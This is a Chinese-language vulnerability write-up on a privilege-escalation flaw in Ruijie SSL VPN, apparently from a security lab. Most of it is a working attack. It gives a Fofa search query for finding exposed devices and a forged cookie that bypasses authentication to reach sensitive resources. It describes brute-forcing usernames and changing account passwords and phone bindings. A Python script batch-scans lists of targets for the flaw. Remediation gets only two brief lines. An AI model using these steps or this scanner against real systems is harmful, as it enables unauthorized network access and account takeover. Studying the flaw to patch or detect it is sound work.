Ruijie SSL V P N 垂直越权漏洞

Ruijie SSL V P N 垂直越权漏洞

                                                                                                                   ——FARBS攻防实验室

目录

Ruijie SSL VPN 垂直越权漏洞

1、漏洞简介

2、漏洞影响

3、漏洞复现

4、漏洞批量检测

5、漏洞修复


1、漏洞简介

    Ruijie SSL VPN 垂直越权漏洞,攻击者在已知用户名的情况下(默认adm,未知可Burp进行爆破),查看服务器资源,以及对账号进行修改密码和绑定手机操作。

2、漏洞影响

    Ruijie SSL VPN

3、漏洞复现

    3.1先通过Fofa等方式进行信息收集:

        Fofa语法:icon_hash="884334722" || title="Ruijie SSL VPN"

Ruijie SSL V P N 垂直越权漏洞_第1张图片

        收集其他信息(不忘谢谢客服小姐姐)

Ruijie SSL V P N 垂直越权漏洞_第2张图片

    3.2访问目标: https://xxx.xxx.xxx.xxx/cgi-bin/main.cgi?oper=getrsc

Ruijie SSL V P N 垂直越权漏洞_第3张图片

    3.3添加cookie认证信息:(UserName 参数为已知用户名)

        Cookie: UserName=admin; SessionId=1; FirstVist=1; Skin=1; tunnel=1

        3.3.1用户名正确时会返回敏感信息:

Ruijie SSL V P N 垂直越权漏洞_第4张图片

        3.3.2用户名未知时,可使用Burp进行用户名爆破:

Ruijie SSL V P N 垂直越权漏洞_第5张图片

    3.4同样的可以进入控制界面,修改密码和绑定手机:

        3.4.1访问页面:https://xxx.xxx.xxx.xxx/cgi-bin/main.cgi?oper=showsvr&encode=GBK&username=liuw&sid=1&oper=showres

Ruijie SSL V P N 垂直越权漏洞_第6张图片

        3.4.2点击个人设置跳转页面即可修改账号信息

Ruijie SSL V P N 垂直越权漏洞_第7张图片

4、漏洞批量检测

Python-Poc:

#!/usr/bin/python
# -*- coding:utf-8
import re,sys,requests,time,colorama
from colorama import *
init(autoreset=True)


findContent ="主机和子网资源"
payload ="/cgi-bin/main.cgi?oper=getrsc"
headers={"cookie":"UserName=admin;   SessionId=1; FirstVist=1; Skin=1; tunnel=1"}

def main():
    try:
        requests.packages.urllib3.disable_warnings()
        response=requests.get(urls+payload,headers=headers,timeout=5,verify=False)
        res = response.content.decode('GBK')
        if res.find(findContent) != -1:
            print('\033[1;32;40m[+]'+urls+"存在锐捷垂直越权漏洞");
        else:
            print('\033[1;31;40m[-]'+urls+"不存在锐捷垂直越权漏洞")
    except:
        print('{} 请求超时'.format(urls))

if __name__ == '__main__':
    if len(sys.argv)!=2:
        print('用法:python Ruijie_SSL_VPN_unauthorized.py urls.txt')
    else:
        file = open(sys.argv[1])
        for url in file.readlines():
            urls=url.strip()
            if urls[-1]=='/':
                urls=urls[:-1]
            main()
            time.sleep(1)
        print ('\033[1;33;40m检测完毕!')

Ruijie SSL V P N 垂直越权漏洞_第8张图片

5、漏洞修复

1、修改较为复杂的用户名(不推荐,为防止爆破用户名应设置访问限制);

2、更新最新版控制台。

你可能感兴趣的:(web安全防护,安全,python)